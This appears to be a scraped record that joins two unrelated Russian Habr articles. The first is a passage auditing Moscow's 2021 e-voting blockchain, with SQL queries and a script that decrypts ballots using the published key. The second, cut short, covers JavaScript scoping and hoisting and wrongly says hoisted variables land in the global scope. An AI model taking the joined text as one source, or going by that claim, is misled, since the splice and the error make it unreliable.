CREATE TABLE public.decrypted_ballots (
store_tx_hash character varying(64) NOT NULL,
decrypt_tx_hash character varying(64),
decrypted_choice bigint[],
status json NOT NULL
);
```
```
CREATE TABLE public.transactions (
hash character varying(64) NOT NULL,
message text NOT NULL,
block_height bigint NOT NULL,
position_in_block bigint NOT NULL,
location_proof json NOT NULL,
instance_id integer NOT NULL,
method_id integer NOT NULL,
status json NOT NULL,
datetime timestamp with time zone NOT NULL,
author character varying(64),
payload json,
signature character varying(128),
internal_error text
);
```
Немного про каждую из баз данных:
База transactions содержит внутри себя все записи, которые включаются в блокчейн. Это основная база, с которой я работал. Транзакции бывают разных типов и отличаются полем method\_id (число от 0 до 11 включительно). Вот все типы транзакций в порядке возрастания method\_id, они указаны на сайте (https://observer.mos.ru/all/servers/1/txs), там же можно посмотреть примеры данных, которые лежат внутри транзакции, кликнув на любую из транзакций с данным типом в интерфейсе:
|
```
method_id
```
| Расшифровка |
| --- | --- |
| 0 | Создание голосования |
| 1 | Регистрация избирателей |
| 2 | Остановка регистрации избирателей |
| 3 | Отказ избирателя от онлайн-голосования |
| 4 | Выдача бюллетеня |
| 5 | Проверка доступа голосующего |
| 6 | Приём бюллетеня |
| 7 | Остановка приёма бюллетеней |
| 8 | Публикация ключа расшифровки |
| 9 | Расшифровка бюллетеня |
| 10 | Завершение голосования |
| 11 | Завершение голосования с результатом |
Внутри транзакции “Создание голосования” лежит маппинг ID кандидата в его имя, а также некоторые технические настройки голосования.
Внутри транзакций “Регистрация избирателей” лежат списки с уникальными ID голосующего — voter\_id. Одна транзакция содержит в себе до 100 регистраций разных voter\_id на данное голосование. Наверное, интересно тут ещё то, что для заданного voter\_id в транзакции с его регистрацией не указан округ, куда он был непосредственно зарегистрирован. Информация об округе есть только в транзакциях на выдачу бюллетеня и на приём бюллетеня.
Внутри транзакции “Выдача бюллетеня” лежит упоминание о том, что данному voter\_id был выдан (успешно или неуспешно) бюллетень. Пример payload такой транзакции:
```
{"voting_id":"ea067e1ad71565daff55627e4b35340620d53d644820478ee798e125efe657c2",
"voter_id":"66226133256418595367941344536751838140319057399092269074519877057970658693635",
"district_id":197,
"seed":"3877720680732874652"}
```
В данной транзакции мы видим, что заданному voter\_id 66226133256418595367941344536751838140319057399092269074519877057970658693635 был выдан бюллетень на выборах по округу 197. voting\_id — это ID всего процесса голосования, он один и тот же на все бюллетени.
Внутри транзакции “Приём бюллетеня” лежит один голос за конкретного кандидата. При этом сам голос зашифрован, для его расшифровки нужен приватный ключ, который публикуется после завершения голосования. Это сделано, чтобы до окончания дня голосования по зашифрованным голосам невозможно было понять, кто побеждает. Вот пример payload такой транзакции:
```
{
"voting_id":"ea067e1ad71565daff55627e4b35340620d53d644820478ee798e125efe657c2",
"district_id":199,
"encrypted_choice":{
"encrypted_message":"32f384b35b17816d0b227e240dbdd0405b03902bab8b547eb2",
"nonce":"5ca72f89ea94f8035e66e129cbad40e8f8154878b65e60af",
"public_key":"dae3d8a3863eded175fec99b6a4c78dfbf8f340c3d1a1ba8d481c615bf912303"
}}
```
При этом отмечу, что внутри транзакции “Приём бюллетеня” лежит только сам голос, привязки к тому voter\_id, который получил этот бюллетень, нет. Таким образом сохраняется тайна голосования. Непонятно, как проголосовал (по крайней мере по публичным данным) каждый из voter\_id.
Транзакция “Публикация ключа расшифровки” публикует ключ голосования, который можно также найти в футере страницы под заголовком “ПРИВАТНЫЙ КЛЮЧ ГОЛОСОВАНИЯ”. Ещё её можно найти в самих транзакциях:
```
select payload from transactions where method_id=8 limit 1;
```
```
{
"voting_id":"ea067e1ad71565daff55627e4b35340620d53d644820478ee798e125efe657c2",
"private_key":"54e3cf70f712b2ff727bde3849772fa811a9d5de796aa7d788d205aa86af04ad",
"seed":"14901105027823071500"
}
```
После публикации ключа расшифровки начинается сама расшифровка. Это транзакции с типом “Расшифровка бюллетеня”, внутри которого лежит некий расшифрованный бюллетень. Связка между бюллетенем, полученным системой в транзакции “Приём бюллетеня”, и расшифрованным бюллетенем проходит через базу decrypted\_ballots. Нужно джойнить хэши store\_tx\_hash и decrypt\_tx\_hash с базой transactions. По полю store\_tx\_hash можно найти транзакцию “Приём бюллетеня”, а по dectrypt\_tx\_hash можно проверить, как этот бюллетень был расшифрован.
В базе block содержится информация о блоках в блокчейне. Туда я особенно не смотрел. Вероятно, по этой базе можно проверить, что транзакции в базе transactions не модифицировались в ходе голосования. Но я этого не делал.
Мои претензии
-------------
### Результаты голосования так и не были подведены системой (публичной системой)
Если вы откроете сайт наблюдения за ДЭГ по одномандатным выборам в ГД, то увидите, что там отсутствуют транзакции с типом “Завершение голосования” и “Завершение голосования с результатом”. Более того, не все голоса были расшифрованы (по крайней мере публично). При этом ЦИК пишет (http://www.cikrf.ru/analog/ediny-den-golosovaniya-2021/p\_itogi/), что учёл 100% бюллетеней, однако, по крайней мере публично, расшифровка голосов до конца не проводилась, видимо это было сделано как-то отдельно, непублично.
Если посмотреть, то транзакций с типом “Приём бюллетеня” в базе 2021969 штуки:
```
SELECT COUNT(*) FROM transactions WHERE method_id = 6;
```
А расшифровано всего 1319943 бюллетеней:
```
SELECT COUNT(*) FROM transactions WHERE method_id = 9;
```
Это даёт нам 702026 голосов (34%), которые публично расшифрованы не были. Дальше я покажу, как расшифровать оставшиеся голоса. Однако никакой сенсации в них нет, в нерасшифрованной части тоже не побеждает оппозиция.
Однако мне всё равно непонятно, какова причина того, что не все голоса были расшифрованы. У меня есть дамп SQL базы от 00:30 20 сентября 2021 по Московскому времени, она в точности совпадает с той выгрузкой, которая доступна сейчас на сайте. Последняя транзакция с типом “Расшифровка бюллетеня” была записана в 21:19 по Московскому времени:
```
SELECT MAX(datetime) FROM transactions WHERE method_id = 9;
```
После этого расшифровка голосов остановилась. Причина этого мне непонятна. После того, как расшифровка голосов остановилась — я поставил скрипт скачивать базу каждые 30 минут и проверять, может быть база была обновлена. Однако по сей момент времени отличий от той базы, которая была в 00:30 20 сентября 2021 года и тем, что есть сейчас — нет. Более ранних дампов у меня нет.
Из-за этого некоторые избиратели, которые воспользовались инструкцией Голоса (https://www.golosinfo.org/articles/145370), не смогли проверить, как их голос был расшифрован в системе. Мне написал избиратель с хэшом 60b7b467f454fc80e41ac90008b03220aded815b41d619011d4a16155f3f3a18. Как можно заметить, его голос расшифрован не был.
Релевантный код, который расшифровывает голоса, [можно найти вот тут](https://github.com/PeterZhizhin/blockchain-voting_2021_extracted/blob/19aa79ef3a0388f872543dc3de2913d7a7b067b5/blockchain/dit-blockchain-source/services/votings-service/src/schema/ballots_storage.rs#L447-L520).
На основании этого кода я [написал утилиту](https://github.com/PeterZhizhin/moscow_deg_decode_votes), которой можно расшифровать те голоса, которые не были расшифрованы системой.
Независимо от меня такую же [утилиту написали на Питоне](https://gist.github.com/SaveTheRbtz/246eab8557b0217ab3945e15cef6ffe8#file-decode-py).
Все расшифрованные голоса по одномандатным выборам в Москве можно [найти вот тут](https://drive.google.com/file/d/1rVu4yGS1WBhJnVTnJlygmqJvodj83mZ3/view?usp=sharing) (формат хэш записи транзакции “Приём бюллетеня” → ID проголосованного кандидата).
Расшифровка всех голосов в 24 потока у меня заняла где-то 30 минут (без учёта поиска и написания релевантного кода для расшифровки). Это при том, что код мой для этого совсем не оптимален (простите за качество кода, это всё в очень авральном режиме писалось). Есть ещё альтернативный код, который не использует subprocess.run (https://gist.github.com/SaveTheRbtz/246eab8557b0217ab3945e15cef6ffe8#file-zbatchdecrypt-ipynb), но я писал как додумался за имеющееся время: я нашёл кусок кода в системе ДЭГ, который отвечает за расшифровку, и перенёс его в отдельную программу.
**Мой код вот тут**
```
import subprocess
from joblib import Parallel, delayed
import tqdm
import pandas as pd
from sqlalchemy import create_engine
engine = create_engine('postgresql+psycopg2://postgres:<пароль от базы>@localhost/observer_20210920_090000')
conn = engine.connect()
def decode_vote(private_key, public_key, nonce, encrypted_result):
return subprocess.run(['simple_decode_code.exe', private_key, public_key, nonce, encrypted_result], capture_output=True).stdout.decode('utf-8').strip().split(';')
def decode_vote_with_hash(h, *args):
return {'tx_store_hash': h, 'decoded_vote': decode_vote(*args)}
PRIVATE_KEY = '54e3cf70f712b2ff727bde3849772fa811a9d5de796aa7d788d205aa86af04ad'
all_encrypted_ballots = pd.read_sql_query("""
SELECT
hash,
payload->>'district_id' as district_id,
payload->'encrypted_choice'->>'encrypted_message' as encrypted_message,
payload->'encrypted_choice'->>'nonce' as nonce,
payload->'encrypted_choice'->>'public_key' as public_key,
datetime
FROM
public.transactions
WHERE method_id = 6
""", con=conn)
decoded_votes_evaluated = Parallel(n_jobs=-1, backend='threading')(delayed(decode_vote_with_hash)(x.hash, PRIVATE_KEY, x.public_key, x.nonce, x.encrypted_message) for i, x in tqdm.tqdm(all_encrypted_ballots.iterrows(), total=all_encrypted_ballots.shape[0]))
```
Если кто-то сталкивался с проблемой, что вы не нашли свой расшифрованный голос в системе, то можете воспользоваться утилитой. Я сверил те 1.3млн голосов, которые были расшифрованы публично с моей расшифровкой — результат расшифрования совпадает.
### Подсчёт выборов МГД
Тут я немного отвлекусь от одномандатных выборов в Москве и хочу обратить внимание на те выборы, где системой результаты всё-таки были подведены. Давайте посмотрим на выборы депутатов МГД через ДЭГ. Мы увидим что там результаты подведены всё-таки были. Вот транзакция с типом “Завершение голосования с результатом”: [observer.mos.ru/all/servers/3/txs?methodId=11](https://observer.mos.ru/all/servers/3/txs?methodId=11). Давайте посмотрим на код, как же появляются результаты этой транзакции. Публичный API в виде протобуфа: [github.com/PeterZhizhin/blockchain-voting\_2021\_extracted/blob/main/blockchain/dit-blockchain-source/services/votings-service/src/proto/transactions.proto#L102-L106](https://github.com/PeterZhizhin/blockchain-voting_2021_extracted/blob/main/blockchain/dit-blockchain-source/services/votings-service/src/proto/transactions.proto#L102-L106). Код обработки данной транзакции: [github.com/PeterZhizhin/blockchain-voting\_2021\_extracted/blob/main/blockchain/dit-blockchain-source/services/votings-service/src/transactions/finalize\_voting\_with\_results.rs#L66-L115](https://github.com/PeterZhizhin/blockchain-voting_2021_extracted/blob/main/blockchain/dit-blockchain-source/services/votings-service/src/transactions/finalize_voting_with_results.rs#L66-L115). По коду видно, что данный обработчик принимает на вход заданные результаты выборов и просто публикует их, не производя при этом подсчёт. В finalize\_voting.rs есть вызов функции ballots\_storage.tally\_results (функция подсчёта голосов), а в finalize\_voting\_with\_results.rs только ballots\_storage.publish\_results (публикация заданных результатов).
При этом результаты по МГД попытались подвести 3 раза, 2 из них оказались неуспешными. Видимо, забыли опубликовать транзакцию с окончанием голосования, о чём можно судить по сообщению об ошибке. Почему это произошло — мне непонятно.
За подсчёт должна отвечать транзакция “Завершение голосования” (код [github.com/PeterZhizhin/blockchain-voting\_2021\_extracted/blob/main/blockchain/dit-blockchain-source/services/votings-service/src/transactions/finalize\_voting.rs](https://github.com/PeterZhizhin/blockchain-voting_2021_extracted/blob/main/blockchain/dit-blockchain-source/services/votings-service/src/transactions/finalize_voting.rs)), она производит подсчёт. Однако она в транзакциях отсутствует, поэтому я могу с уверенностью сказать, что система (по крайней мере публичная, на исходной код которой я могу посмотреть) результаты выборов не считала.
Более того, она и не могла посчитать выборы из-за переголосований, о чём будет ниже.
### Как же подводили итоги в ГАС Выборы?
Подробнее про то, какие расхождения в протоколе ГАС Выборы я нахожу, и откуда они могут браться, будет написано ниже. Тут я хочу скорее обратить внимание на то, каким именно образом был утверждён протокол. Публичного подсчёта, по факту, так до сих пор и не было. Но протокол откуда-то всё равно должен был взяться?
По сообщениям наблюдателей за ДЭГ, членам комиссии протокол просто откуда-то спустили, который им достаточно было подписать (комментарий достаточно эмоциональный, но я считаю, что конструктивный):
> Как работает УИК ДЭГ. Им принесли откуда-то распечатанные протоколы, они пустили их по кругу на подпись. Проголосовали за утверждение. Вуаля. Комиссия легализовала результаты электронного голосования, которые никто из них не проверял и не участвовал в подсчёте результатов. Но единогласно у членов комиссии нет оснований не доверять.
>
>
>
> [t.me/shendernews/1886](https://t.me/shendernews/1886)
>
>
У меня не было бы к нему претензий, если было бы возможно публично установить, что результаты с протоколом сходятся. Однако этого сделать на данный момент невозможно.
Более того, протокол ДЭГ ещё и пришлось потом переделывать. Так как, по сообщениям наблюдателей:
> Не сошлись цифры итоговые, когда их стали вбивать в ГАС Выборы. Потому что протоколы составляли… руками в табличке Эксель, а не как мы все думали — автоматической выгрузкой результатов из блокчейна
>
>
>
> [t.me/shendernews/1951](https://t.me/shendernews/1951)
>
>
### Количество избирателей, включенных в ДЭГ
#### Проблема с транзакцией “Регистрация избирателей”
Как я писал выше, в базе данных с транзакциями есть тип транзакций “Регистрация избирателей”. Внутри одной транзакции находится до 100 voter\_id избирателей, которым потом выдаются бюллетени. Однако замечу, что внутри данной транзакции невозможно узнать, к какому округу приписан избиратель.
В протоколе ГАС Выборы по каждому округу при этом эти цифры есть. К каждому из ОИК был приписан “виртуальный” УИК ДЭГ с номером №50xx, в котором есть результаты отдельно по ДЭГ на каждом из округов. Так, например, согласно протоколу ГАС Выборы в 198 округе (виртуальный УИК №5003) было в списки включено 137036 избирателей, строчка “Число избирателей, внесенных в список избирателей на момент окончания голосования”
**Скрытый текст**
(привет тому, кто придумал эту фигню со скремблером на сайте ГАС Выборы)
: [www.vybory.izbirkom.ru/region/izbirkom?action=show&root=774050015&tvd=4774050194611&vrn=100100225883172®ion=77&global=⊂\_region=77&prver=0&pronetvd=null&vibid=4774050194611&type=463](http://www.vybory.izbirkom.ru/region/izbirkom?action=show&root=774050015&tvd=4774050194611&vrn=100100225883172®ion=77&global=&sub_region=77&prver=0&pronetvd=null&vibid=4774050194611&type=463)
Однако в транзакции “Регистрация избирателей” не указан округ избирателя. Таким образом, мы не можем проверить, что бюллетени, которая выдаёт система, действительно выдаются по тому округу, к которому они приписаны. По крайней мере, в коде у меня про это найти ничего не удалось. Но буду рад, если кто-то подскажет, вдруг я не нашёл, где реализована эта логика.
Мы можем посчитать только общую сумму по избирателям, которые были включены на ДЭГ по одномандатным выборам: 2014765 избиратель.
```
SELECT SUM(voters_in_transaction) FROM
(SELECT json_array_length(payload->'voters') as voters_in_transaction FROM transactions WHERE method_id = 1) as t;
```
#### Несостыковки с количеством заявок на mos.ru и включенными в ГАС Выборы
На сайте mos.ru есть сервис проверки включения избирателей в систему ДЭГ: [www.mos.ru/proverka-deg](https://www.mos.ru/proverka-deg/)
Я скачал данные об одобренных заявлениях, чтобы проверить, как согласуется количество поданных заявок на mos.ru и количество избирателей, включенных в списки ДЭГ по данному округу (с одобренным статусом заявки). Количество избирателей, включённых в ДЭГ по данному округу, всегда больше, чем заявок на mos.ru (сырые данные можно найти вот тут [docs.google.com/spreadsheets/d/1gVHMrxHurtBFWbYUOXKVjYHxsv15SD1CYcw5g37tZCA/edit?usp=sharing](https://docs.google.com/spreadsheets/d/1gVHMrxHurtBFWbYUOXKVjYHxsv15SD1CYcw5g37tZCA/edit?usp=sharing))
На сайте указано, что через сайт gosuslugi.ru также было подано дополнительно 455230 заявлений. Однако мне не удалось узнать, сколько из этих заявлений было одобрено, и не получилось узнать, как эти заявления распределились по округам. Как и проверить, реальные ли люди подавали эти заявки (впрочем, тут и заявки с mos.ru сложно проверить).
UPD: Тут раньше было написано, что нужно было попросить наблюдателей посчитать заявки на каждом из участков. Мне подсказали уже после публикации этого поста, что количество этих заявок есть в системе ГАС Выборы. Надо теперь проверить, реальные ли это люди записались на электронное голосование и реально ли они голосовали. Я думаю, что было бы хорошо истребовать книги избирателей (или список заявлений на ДЭГ), чтобы проверить.
### Невозможно понять, какие из бюллетеней переголосованные
Перейдём, наверное, к самой главной проблеме этого электронного голосования. Именно по этой причине процесс подведения итогов оказался непубличным и, на данный момент, абсолютно не перепроверяемым.
На выборах ДЭГ в Москве была введена функция повторного голосования. Я предпринял попытки понять, каким именно образом нужно учитывать переголосования.
Я нашёл человека, который проголосовал два раза на выборах по одномандатному округу и два раза сохранил хэши голосования по инструкции от Голоса.
[twitter.com/f8f82/status/1439978015698587663](https://twitter.com/f8f82/status/1439978015698587663)
При этом, если открыть эти две транзакции в системе наблюдения за ДЭГ, то между ними не найдётся ничего общего:
[observer.mos.ru/all/servers/1/txs?query=91f3b76042cfc23a18210fc4bf3b5d679a5b9740b35c90f27550566374e965b2&methodId=6](https://observer.mos.ru/all/servers/1/txs?query=91f3b76042cfc23a18210fc4bf3b5d679a5b9740b35c90f27550566374e965b2&methodId=6)
[observer.mos.ru/all/servers/1/txs?query=8627f07a2c50fd33bd683cd5672a97655ffb023fcfd208aa6cd93694771f2e94&methodId=6](https://observer.mos.ru/all/servers/1/txs?query=8627f07a2c50fd33bd683cd5672a97655ffb023fcfd208aa6cd93694771f2e94&methodId=6)
Мы не видим никакого флага или идентификатора, который бы помог нам установить, что эти бюллетени пришли от одного человека. На основании какой-либо публичной информации, кажется, никому ещё не удалось это сделать.
Судя по интервью [Артёма Костырко на Эхо Москвы](https://www.youtube.com/watch?v=_jsRVlwsBj8&t=13660s) это сделать, похоже, и невозможно. Нужна какая-то дополнительная информация, которую обещали выложить позже. Я пока не понимаю, каким именно мы можем проверить достоверность той информации, которая будет выложена ДИТ Москвы. Так я и не понимаю, почему информация, необходимая для подсчёта голосов, появляется уже после подведения итогов.
Я попытался поискать по коду, на что влияет флаг [revote\_enabled](https://github.com/PeterZhizhin/blockchain-voting_2021_extracted/search?q=revote_enabled), но так и не понял, как учитывать переголосования.
Нужен бы был какой-то ID, который бы по данному бюллетеню указывал, что это переголосование. Я не знаю, как вообще, в теории, можно реализовывать переголосования, если у вас нет базы ID голосующего → ID всех бюллетеней этого человека.
UPD: Тут было раньше написано, что у нас нет исходного кода тех программ, которые считали голосование. На самом деле есть. Он лежит вот тут: [github.com/PeterZhizhin/blockchain-voting\_2021\_extracted/tree/main/blockchain/dit-blockchain-private-source](https://github.com/PeterZhizhin/blockchain-voting_2021_extracted/tree/main/blockchain/dit-blockchain-private-source)
Конкретно за переголосования отвечает код внутри исходников «приватной» части блокчейна: [actual\_ballots\_storage.rs](https://github.com/PeterZhizhin/blockchain-voting_2021_extracted/blob/main/blockchain/dit-blockchain-private-source/services/actual-ballots-service/src/schema/actual_ballots_storage.rs). Конкретно надо смотреть на работу с [encrypted\_group\_id](https://github.com/PeterZhizhin/blockchain-voting_2021_extracted/blob/main/blockchain/dit-blockchain-private-source/services/actual-ballots-service/src/schema/actual_ballots_storage.rs#L23-L29). Эти группировки необходимы, чтобы подвести итоги голосования. Однако лежат они в «приватном» блокчейне, о существовании которого я до написания поста ещё даже и не знал. Прошу ДИТ опубликовать этот приватный блокчейн с этими группировками, чтобы мы хотя бы независимо могли подвести итоги в ГАС Выборы.
### Масштаб проблемы: голосов в системе ДЭГ по каждому округу больше, чем было выдано бюллетеней
Давайте посчитаем по каждому из округов, сколько там было выдано бюллетеней (транзакций с типом “Выдача бюллетеня”), и сколько голосов оказалось “в урнах” ДЭГ (транзакций с типом “Приём бюллетеня”).
Общий подсчёт по всем округам доступен прямо на сайте [observer.mos.ru/all/servers/1/txs](https://observer.mos.ru/all/servers/1/txs):
> 104% конверсия: выдано бюллетеней 1 943 590, а принято бюллетеней 2 021 969.
>
>
Давайте поймём, откуда берутся эти цифры. Цифра 1 943 590 — это количество успешных транзакций с типом “Выдача бюллетеня”:
```
SELECT
COUNT(*) as cnt
FROM public.transactions WHERE method_id = 4 and status->>'type' = 'success';
```
Цифра 2 021 969 — это количество успешных транзакций с типом “Приём бюллетеня”:
```
SELECT COUNT(*) FROM transactions WHERE method_id = 6 and status->>'type' = 'success';
```
Давайте теперь посмотрим на распределения по округам. Сколько лишних бюллетеней попало в каждом из округов (сырые данные есть вот тут: [docs.google.com/spreadsheets/d/1gVHMrxHurtBFWbYUOXKVjYHxsv15SD1CYcw5g37tZCA/edit?usp=sharing](https://docs.google.com/spreadsheets/d/1gVHMrxHurtBFWbYUOXKVjYHxsv15SD1CYcw5g37tZCA/edit?usp=sharing)):
Так, по округу 198 было системой выдан 131 930 бюллетень. А в “урнах” оказалось уже 133 283 голоса. Это означает, что как минимум 1 353 бюллетеня в системе в 198 округе лишние, в других округах этот разрыв ещё больше. При этом надо понимать, что некоторые избиратели имели право получить бюллетень на ДЭГ, но его не использовать. Поэтому реальная цифра корректных “бюллетеней” должна быть меньше, чем количество выданных бюллетеней.
Каждый избыточный бюллетень — это те самые *переголосования*. Они должны быть учтены в протоколе ГАС Выборы. Давайте посмотрим, сколько голосов было “выкинуто” из-за переголосований в каждом из округов (разница между “Число действительных избирательных бюллетеней” и количеством бюллетеней в “урнах” ДЭГ).
Например, согласно протоколу ГАС Выборы, в 198 округе “Число действительных избирательных бюллетеней” — 120 207. То есть какие-то 13 076 бюллетеня при подсчёте учтены не были. Какие именно это были бюллетени — мы не узнаем до тех пор, пока ДИТ не опубликует, как же нам по записям в списке транзакций понять, какие именно из голосов были переголосованы, и какие именно голоса надо учитывать.
### Как меняются проценты за кандидатов после учёта “переголосовавших” в ГАС Выборы
Последнее, что я сделал с этими данными — это посчитал проценты за каждого из кандидатов, если подсчитать все голоса в системе блокчейна. При этом, так как мы не можем никак учесть правильно переголосования, будем считать каждый “избыточный” бюллетень за действительный. И как эти проценты соотносятся с тем, что указано в ГАС Выборы (где результаты должны быть учтены уже с исключением переголосований).
Функция переголосования рекламировалась как функция защиты от административного давления. Например, когда тебя заставили проголосовать на работе за кандидата, который тебе не нравится, но потом ты переголосовал за нужного тебе кандидата. Если эта функция и правда использовалась так, то мы бы ожидали, что от корректного учёта переголосований процент административного кандидата стал бы в округе ниже, чем если бы мы учитывали все бюллетени (скорее выбрасываются голоса за административного кандидата, чем за оппозиционного).
Для этого я использовал свой расшифровщик всех голосов и сравнил проценты за каждого из кандидата, если пользоваться результатами из транзакций и не учитывать переголосования. И процентами в ГАС Выборы за каждого из кандидатов.
Проценты есть все вот тут: [docs.google.com/spreadsheets/d/1L1SUilxRVWXLn3YOPmOWAfTlcv08NCP6KvexwxaEKk4/edit?usp=sharing](https://docs.google.com/spreadsheets/d/1L1SUilxRVWXLn3YOPmOWAfTlcv08NCP6KvexwxaEKk4/edit?usp=sharing)
По факту получается всё ровно наоборот. Если сравнить результаты, когда переголосования считаются как реальные голоса, и результаты в ГАС Выборы (где из переголосований должны быть корректно учтён только последний голос), то процент административного кандидата не очень сильно, но растёт во всех округах (примерно на 1%).
Если мы считаем, что переголосование использовалась именно как защита от административного давления (“сначала голосую за административного кандидата, потом за оппозиционного”), то публичные данные показывают, что в результатах в ГАС Выборах по ДЭГ что-то не так. Однако надо сказать, что таким результатам в ГАС Выборах может быть и другое объяснение: например, что оппозиционные избиратели несколько раз переголосовывали за того же самого оппозиционного кандидата, а избиратели административных кандидатов этого не делали.
Выводы
------
Я хотел обратить внимание на те странности, которые сделали систему ДЭГ непрозрачной на этих выборах:
* Результаты выборов ДЭГ на основании публичных данных установить невозможно, так как нехватает данных из «приватного» блокчейна. На одномандатных выборах в ГД подсчёт системой если и производился, то с нарушениями, так как не все голоса были расшифрованы. А на выборах в МГД в систему вместо подсчёта голосов просто загрузили итоговый протокол. Подсчёт голосов из-за системы переголосований проводился в каких-то других системах, не подконтрольных наблюдению, на основании данных из «приватного» блокчейна. В публичных системах недостаточно данных для подведения итогов.
* Мы не можем по публичным данным отследить, какой голос был переголосовавший, а какой — единственный для данного человека. Это делает подсчёт голосов по публичным данным невозможным.
* Масштаб переголосований по каждому округу в Москве был очень серьёзный. Количество бюллетеней, принятых системой ЭГ, всегда оказывалось больше, чем она выдала в каждом округе.
* В каждом из округов, в системе ГАС Выборы не была учтена значительная часть бюллетеней, которые приняла в себя система ДЭГ. Из-за непрозрачности системы подсчёта мы не можем достоверно узнать, какие именно бюллетени были учтены системой как недействительные.
* Если предположить, что переголосования в системе ДЭГ действительно используются как защита от давления, то процент оппозиционных кандидатов должен был вырасти. На практике в ГАС Выборы от учёта переголосовавших процент административного кандидата тоже вырос.
Что ещё надо сделать
--------------------
1. Требовать публичного подсчёта голосов в ДЭГ. Подсчёт голосов в ДЭГ был сделан на основании данных из приватного блокчейна, надо публиковать этот блокчейн.
2. Надо подождать, что нам выдадут для подсчёта переголосовавших бюллетеней. Исходя из этого можно продолжить анализ: надо посмотреть, какие именно бюллетени переголосовывались и как.
3. Я вообще не касался того, что связано с блокчейном. Надо проверить, действительно ли все транзакции корректны.
4. Надо сравнить выгрузку транзакций до подведения итогов и после публикаци ключа голосования. Старые транзакции не должны быть изменены. Мне отправляли дампы SQL до окончания голосования, надо их сравнить, правда ли, что данные только добавлялись, но старые не изменялись.
На будущее
----------
1. Достаточно сложно было найти людей, которые сохраняли хэши своих транзакций во время голосования. Ещё сложнее было найти людей, которые бы переголосовывали и записывали хэш голосования. Надо научить сторонников, которые пользуются ДЭГ записывать хэши голосований, чтобы у нас потом было с чем сравнивать.
2. Было трудно найти базы с транзакциями за моменты до подведения итогов голосования. Наблюдателям ПСГ/ПРГ на УИК ДЭГ предлагаю в будущем сохранять все промежуточные выгрузки, чтобы смотреть, что никакие из транзакций не были подменены.
3. В системе ДЭГ очень не хватает большей грануляции по УИК. Мы не можем узнать, как в данном конкретном районе результаты на “бумажном“ УИК отличаются от “электронного” голосования в этом районе — есть только общие цифры по всему округу.
### По горячим следам объявленного “пересчёта ДЭГ”
Как я постарался объяснить в этом посте, основная моя претензия к системе ДЭГ — это то, что итоги голосования были подведены на основании данных из некоего приватного блокчейна. У нас есть исходной код этого приватного блокчейна, но для подведения итогов не хватает данных из «приватного блокчейна».
Я бы хотел ещё раз отметить, что в списке транзакций не указано, какие именно бюллетени были переголосованы, и непонятно, как список переголосованных бюллетеней можно было бы получить. Для учета переголосований необходимы данные приватного блокчейна, именно там лежат данные по переголосованиям. Я хочу, чтобы ДИТ Москвы опубликовал алгоритм, который бы позволил получить список переголосованных транзакций “Приём бюллетеня”, используя только ту выгрузку, которая доступна сейчас публично на сайте [observer.mos.ru/all](https://observer.mos.ru/all/). Если данные по переголосам в публичной выгрузке учесть невозможно, то это, конечно, очень плохо.
Будет очень нехорошо, если ДИТ просто опубликует базу “вот эти транзкции Приём бюллетеня мы считаем переголосованными вот этой транзакцией Приём бюллетеня” без каких-либо доказательств, что она настоящая.
UPD: На пост начинают ссылаться журналисты. Я поправил некоторые недочёты, которые у меня в посте нашлись. Во-первых меня поправили, что данные по количеству заявок на ДЭГ по каждому УИК есть в ГАС Выборы. Во-вторых мне показали, что код приватной части блокчейна у нас на самом деле есть и конкретно указали, где в этом коде учитываются переголоса. Однако без данных из второго «приватного» блокчейна, по крайней мере сейчас, мы не можем независимо подвести итоги выборов. | https://habr.com/ru/post/579350/ | null | ru | null |
# Три особенности JavaScript, о которых полезно знать каждому Java/C-разработчику
Иногда JavaScript может вводить разработчика в заблуждение, а иногда — доводить до белого каления из-за своей неполной консистентности. Есть в JavaScript некоторые вещи, которые только запутывают и сбивают с толку. Самые известные из них [оператор with](http://www.2ality.com/2011/06/with-statement.html), [неявные глобальные переменные](http://yuiblog.com/blog/2006/06/01/global-domination/) и [странное поведение при операции сравнения](http://dorey.github.io/JavaScript-Equality-Table/).
Пожалуй, вокруг JavaScript разгоралось больше всего споров в истории программирования. Помимо его недостатков (отчасти рассмотренных в новых спецификациях ECMAScript), большинство программистов недовольны следующими моментами:
* DOM, который многие ошибочно считают эквивалентом самого языка JavaScript, обладает очень неудачным API.
* Когда переходишь на JavaScript с языков С и Java, то попадаешь в ловушку синтаксиса, который устроен не так, как в императивных языках. Это очень часто приводит к багам и сильно раздражает.
В результате JavaScript обрёл довольно плохую репутацию, которой он, в общем-то, не заслуживает. И чаще всего это связано с тем, что многие разработчики переносят на JavaScript свой опыт работы на Java или С/С++. Здесь разобраны три наиболее трудных случая, демонстрирующих разницу в подходах между Java и JavaScript.
Область видимости
-----------------
Большинство разработчиков переходят на JavaScript в связи с необходимостью. И почти все повторяют одну ошибку — начинают писать код, не изучив предварительно особенности языка. Очень многие хотя бы раз испытывают затруднения с областями видимости.
Синтаксис JavaScript очень похож на используемый в семействе С, с его фигурными скобками, разделяющими конструкции функций, `if` и `for`. Поэтому многие разработчики предполагают, что и область видимости на уровне блоков устроена по аналогичным принципам. К сожалению, это не так.
Во-первых, область видимости переменных определяется функциями, а не скобками. То есть `if` и `for` не создают новую область видимости, а объявленная в их конструкциях переменная, на самом деле, «поднимается». То есть создаётся она в начале самой первой функции, в которой она объявлена, иными словами — в глобальной области видимости.
Во-вторых, наличие оператора `with` делает область видимости JavaScript динамической, её нельзя определить до начала выполнения программы. Лучше вообще избегать использования `with`, без него JavaScript превращается в язык, использующий лексические области видимости. То есть достаточно будет прочитать код, чтобы понять для себя все области видимости.
Формально, в JavaScript существует четыре способа включения идентификатора в область видимости:
* **Согласно стандарту языка**: по умолчанию, все области содержат идентификаторы this и arguments.
* **На основе формальных параметров**: область видимости любого формального параметра функции ограничена телом функции.
* **С помощью объявления функций**.
* **С помощью объявления переменных.**
Но нужно помнить об одном моменте: объявление (неявное) переменных без использования `var` приводит к неявному определению глобальной области видимости. То же самое относится и к указателю `this`, когда функция вызывается без явной привязки.
Прежде чем перейти к деталям, следует порекомендовать использовать строгий режим (`'use strict';`) и помещать все объявления переменных и функций в начало каждой функции. Избегайте объявления переменных и функций внутри блоков `for` и `if`.
#### Поднятие
Этот термин применяется для упрощённого описания того, как на самом деле осуществляется объявление. Поднимаемые переменные объявляются в самом начале содержащих их функций, а затем инициализируются как `undefined`. Присваивание осуществляется непосредственно в той строке, где происходит объявление.
Рассмотрим пример:
```
function myFunction() {
console.log(i);
var i = 0;
console.log(i);
if (true) {
var i = 5;
console.log(i);
}
console.log(i);
}
```
Как вы думаете, какие значения будут выведены на экран?
```
undefined
0
5
5
```
